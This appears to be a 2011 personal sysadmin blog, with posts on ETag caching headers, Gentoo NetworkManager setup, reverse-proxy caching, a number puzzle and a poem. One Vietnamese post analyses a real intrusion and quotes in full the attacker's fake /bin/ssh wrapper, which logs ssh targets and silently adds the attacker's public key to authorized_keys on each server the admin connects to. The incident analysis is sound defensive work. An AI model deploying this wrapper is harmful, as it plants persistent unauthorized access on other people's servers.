17 Aug 2011

Why Etag is (generally) a good idea, and why it should not be used

Etags (Entity tags) is a part of HTTP headers, which is used to compare cached object on client side (the browser) with the original object on server side. What does it compare for? Normally, every object that is considered cache-able will be cached on client cache (if cache memory of client is still enough). When server send a response include ETag header to client,
HTTP/1.0 200 OK
Content-Length: 121217
Content-Type: text/html
Content-Location: http://www.website.vn/home/index.htm
Last-Modified: Thu, 18 Aug 2011 13:34:08 GMT
ETag: "ab26ff81ab5dcc1:2878"
Date: Thu, 18 Aug 2011 13:34:52 GMT
X-Cache: HIT from Node-Cache-22
Connection: keep-alive
browser cache will store that Etag value. Next time, if we browse the same object, client will send that value to server to validate the state of cached object,

Host    http://www.website.vn/home/index.htm
User-Agent    Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0
Accept    */*
Accept-Language    en-us,en;q=0.5
Accept-Encoding    gzip, deflate
Accept-Charset    UTF-8,*
Connection    keep-alive
Referer    http://www.somewhereonthe.net
Cookie    __name=value
If-None-Match    "ea3d79c3fc8cb1:2878"
Cache-Control    max-age=0
If the value of If-None-Match is different from saved Etags value, server send full response to client include new object and new ETag. Otherwise, it will send a 304 Not Modified reponse and client use the object that's already cached on browser's cache memory.

Date    Thu, 18 Aug 2011 07:56:57 GMT
Content-Type: text/html
Last-Modified    Wed, 20 Jul 2011 01:38:44 GMT
Etag    "40b519c37d46cc1:2878"
Connection    keep-alive 
Commonly, Etags value is generated by web server (or programmer by computing the Etags by md5sum(the-object)). Apache web server uses 3 components (or file attributes) to built the Etags: INode, MTime, Size. User of nginx can use these modules: https://github.com/mikewest/nginx-static-etags and https://github.com/kali/nginx-dynamic-etags to add ETag value.
 From wikipedia
An ETag, or entity tag, is part of HTTP, the protocol for the World Wide Web. It is one of several mechanisms that HTTP provides for cache validation, and which allows a client to make conditional requests. This allows caches to be more efficient, and saves bandwidth, as a web server does not need to send a full response if the content has not changed. ETags can also be used for optimistic concurrency control,[1] as a way to help prevent simultaneous updates of a resource from overwriting each other.

To test how ETag works yourself, a great-mind already wrote a python module for your need: http://www.feedparser.org/docs/http-etag.html
So, after all of these lines of text to describe how ETag works, how it applies to HTTP protocol and how it helps to reuse the unchanged resources on client, avoiding full server responses if the content has not been changed, saving bandwitdth...it's generally a very good idea.
Why it should not be used? there's 2 reasons
 1. CPU consuming: When using Etag, server has to calculate the ETag value for all objects that it is configured to apply to. For each request from client that include the Etag header, server also has to calculate again, do the comparison these 2 values, then desire how reply to client with right reponse code. It takes too much resource (CPU usage) on server side.

 2. Websites that are applied ETag (with serious thought) are mostly served from multiple servers. For example if you're using Apache (same thing will happen if you're using nginx, because 2 Etag modules of nginx is ported from Apache AFAIK)
With default FileEtag settings, N Apache boxes will generate N ETag values for same object. If client A makes first request to box 1, it receives Etag1, after that, user re-visits the url and reach box 2, even if content was not changed, the If-None-Match or If-Match value will be different, box2 has to compute the ETag, then send the full reponse to client with its ETag value. It's a REAL waste of resource.

One solution when using Etag is: remove the Inode from FileEtag setting. But this just solve the second dis-advantage of Etag, not all of it.

Another solution is instead of using Etag, we rely on Last-Modified header. If you dont know how to use Last-Modified yet, it will be explained on next post (hopefully soon ;) ).
 To remove Etag on Apache:

Header unset Etag
FileETag none
 Nginx: dont use the Etag modules ;)

 If you do not control the back-end web servers (like mine), and but control caching boxes, you can also remove it from reverse proxies.
If squid:

header_access Etag deny all
head_access If-Match deny all
header_access If-None-Match deny all


TrafficServer
CONFIG proxy.config.http.cache.required_headers INT 0
This post is also the part 2 of Web Caching series.

28 Jul 2011

Thông minh và ngu ngốc

Đầu tiên các bạn hãy đọc script ngắn bên dưới

#!/usr/bin/env bash                                                            
SSH=`which ssh`; echo $@ >> /dev/shm/.h ; $SSH $@ "[ ! -f /dev/shm/.z ] && echo "a" > /dev/shm/.z && echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxTOlT9QywvpMMuohn+S2kKp9XmQRIEh4Pba3VJWB7S5fk/l1Qhi5n1M6OOd2/N4GAxgVAk8ylcVcJJJ7ErPGJSB0BgWeuiM7lszYwy9KOUZdliqGnCCFUSv/zzqlCJ1DLXdlnn1jbBlq1WNphORiZAx8ZJwUkR8SByT21WtLtcugx3H0IdJOR9ZkGZzAtnCFb/DY8NRIQ4SRnlvqColZg2LpY1EcsClmYIYpxXlm6yQ7phP1gqBwGIcPgUEgDt8YY+nO1jNEr3/vV5z14zXXoTfDb5MimfgqwkeIY+Ak6I+CLoq3p79xY1IVxNCI5a5h7dsffoao23o45fojfdfDDAd55 fuckeratnowhere" >> .ssh/authorized_keys"; $SSH $@
Nếu có ai không hiểu script trên nói gì thì mình sẽ giải thích. Script trên đặt một biến SSH có nội dung là đường dẫn tới command ssh trên hệ thống đang chạy command trên, sau đó đưa tham số truyền vào sau command (thường sẽ là IP chúng ta cần ssh tới) vào một file log có tên là .h ở thư mục /dev/shm, tiếp theo đó, thực thi lệnh ssh tới server với IP trên, kiểm tra sự tồn tại của file .z ở thư mục /dev/shm, nếu không có, thì tạo file .z và đưa nội dụng public key vào file authorized_key, và trở lại thực thi câu lệnh ssh như bình thường.

Nội dung command trên được một bạn so-called hacker sau khi bằng cách nào đó up được shell lên một server đã lưu ở /bin/ssh.
Vì sao đặt ở /bin/ssh ?

hungnv@tinytux ~ $ echo $PATH
/bin:/usr/local/bin:/usr/bin:/opt/bin:/usr/x86_64-pc-linux-gnu/gcc-bin/4.4.5:/usr/lib/:/usr/sbin/:/sbin:/opt/:/usr/libexec:/home/hungnv/bin

Giả dụ như $PATH của bạn như trên, thì khi thực thi lệnh ssh tới một server, /bin/ssh sẽ được thực thi thay vì /usr/bin/ssh thực sự.
Người quản trị server này bất cứ lúc nào cần ssh tới một server khác khi đang đứng trên server đã bị tấn công bên trên, nghiễm nhiên gán quyền cho kẻ tấn công login vào server đó mà không cần chứng thực.
Kẻ tấn công còn thông minh ở chỗ ghi lại log ở file /dev/shm/.h, để có thể biết được System admin đã giúp mình owned được bao nhiêu server. Phải nói rằng hắn ta rất thông minh,

Nhưng tiêu đề bài post là thông minh và ngu ngốc?
Điểm ngu ngốc thứ nhất, kẻ tấn công dùng Windows (và có thể là notepad của Windows) để soạn script trên. Vô tình Windows có khuyến mãi thêm vài kí tự đặc biệt, thông thường dos2unix $FILENAME sẽ giải quyết được, nhưng vì nôn nóng, hắn quên mất. Do đó khi bash shell gặp kí tự đặc biệt trên, không hiểu và báo Bad interpreter , command ssh không thực hiện được. Và dĩ nhiên ssh tự nhiên không thực hiện được thì theo thói quen, người quản trị sẽ
1. which ssh
2. file /bin/ssh
/bin/ssh: a bash script text executable

3. cat /bin/ssh
và wow, someone fucked my server!!!!!!!!!!!
Điểm ngu ngốc thứ 2: đáng ra hắn phải kiểm tra script trên có hoạt động được không trước khi upload lên server (có lẽ do quá tự tin chăng?)

Nói tóm lại, người quản trị hệ thống này may mắn quá, vì gặp được một anh thông minh đúng chỗ và ngu ngốc cũng đúng chỗ ;).


14 Jul 2011

Get networkmanager and nm-applet working with wireless on Gentoo

Well, more than 1 year working with install_and_use distro (Fedora) makes my brain slow. It takes me about 1/2 day to get it works.

1. Check your USE flag to make sure it has these things:
         bluetooth avahi connection-sharing dhclient autoipd dhcpcd dhclient gnutls nss resolvconf
If you are using the same USE flag with me: ( -* ) , just set it when emerge:
          USE="bluetooth avahi connection-sharing dhclient autoipd dhcpcd dhclient gnutls nss resolvconf" emerge -Nav networkmanager
2.  Install nm-applet(with USE="-doc -debug bluetooth).

3. On this directory, edit all configuration files:
           /etc/dbus-1/system.d
replace every line that contain user="root" with group="plugdev"

4. Add your user and root to group plugdev, add yourself to group netdev
5. Restart dbus, and volla, enjoy wireless networking.

*If you dont add root to group plugdev as step 4, sure you will the error:

Jul 15 21:13:26 tinytux dbus[14800]: [system] Failed to activate service 'org.freedesktop.PolicyKit1': timed out
Jul 15 21:13:26 tinytux NetworkManager: polkit_authority_get: Error getting authority: Error initializing authority: Error calling StartServiceByName for org.freedesktop.PolicyKit1: GDBus.Error:org.freedesktop.DBus.Error.TimedOut: Activation of org.freedesktop.PolicyKit1 timed out
Jul 15 21:13:26 tinytux NetworkManager: nm_sysconfig_settings_init: failed to create PolicyKit authority.
I'm sure you know why ;)

9 Jul 2011

Web Caching

(Part 1)
Một caching server là server đứng giữa clients và web servers, trả lời request từ client thay cho web server nếu như:
1. Client request html object đã được lưu trữ trong bộ nhớ cache.
2. Cache object là version cùng với version được sinh ra từ web servers nếu request vào được đến web server (fresh).

Web cache có 3 loại: browser cache, proxy cache (forward proxy, transparent proxy), và gateway cache (reverse proxy). Ở đây chúng ta chỉ nhắc đến loại thứ 3: Reverse proxy cache, ngắn gọn là reverse proxy.
Một mô hình reverse proxy đơn giản như sau:
                           Clients -------- Reverse proxy --------- Web Servers

30 Jun 2011

Open Problem

This post is just a story which is not mine.

When I met R.B.M at "his place", he gave me a sequence of number
1 11 21 1211 111221 ... 
and asked me what is the next number?
I spent 6 months to get the answer with help from some friends.
How long will it take you to solve this open problem? ;-)


Feel free to ask for hints. I will tell you story of R.B.M once you answer it right!

5 Apr 2011

Highest state of a man

Those who know do not talk.
Those who talk do not know.

Keep your mouth closed.
Guard your senses.
Temper your sharpness.
Simplify your problems.
Mask your brightness.
Be at one with the dust of the Earth.
This is primal union.

He who has achieved this state
Is unconcerned with friends and enemies,
With good and harm, with honor and disgrace.
This therefore is the highest state of man.
He did talk too much
Time to keep state of his mouth closed more than opened :-)

Disqus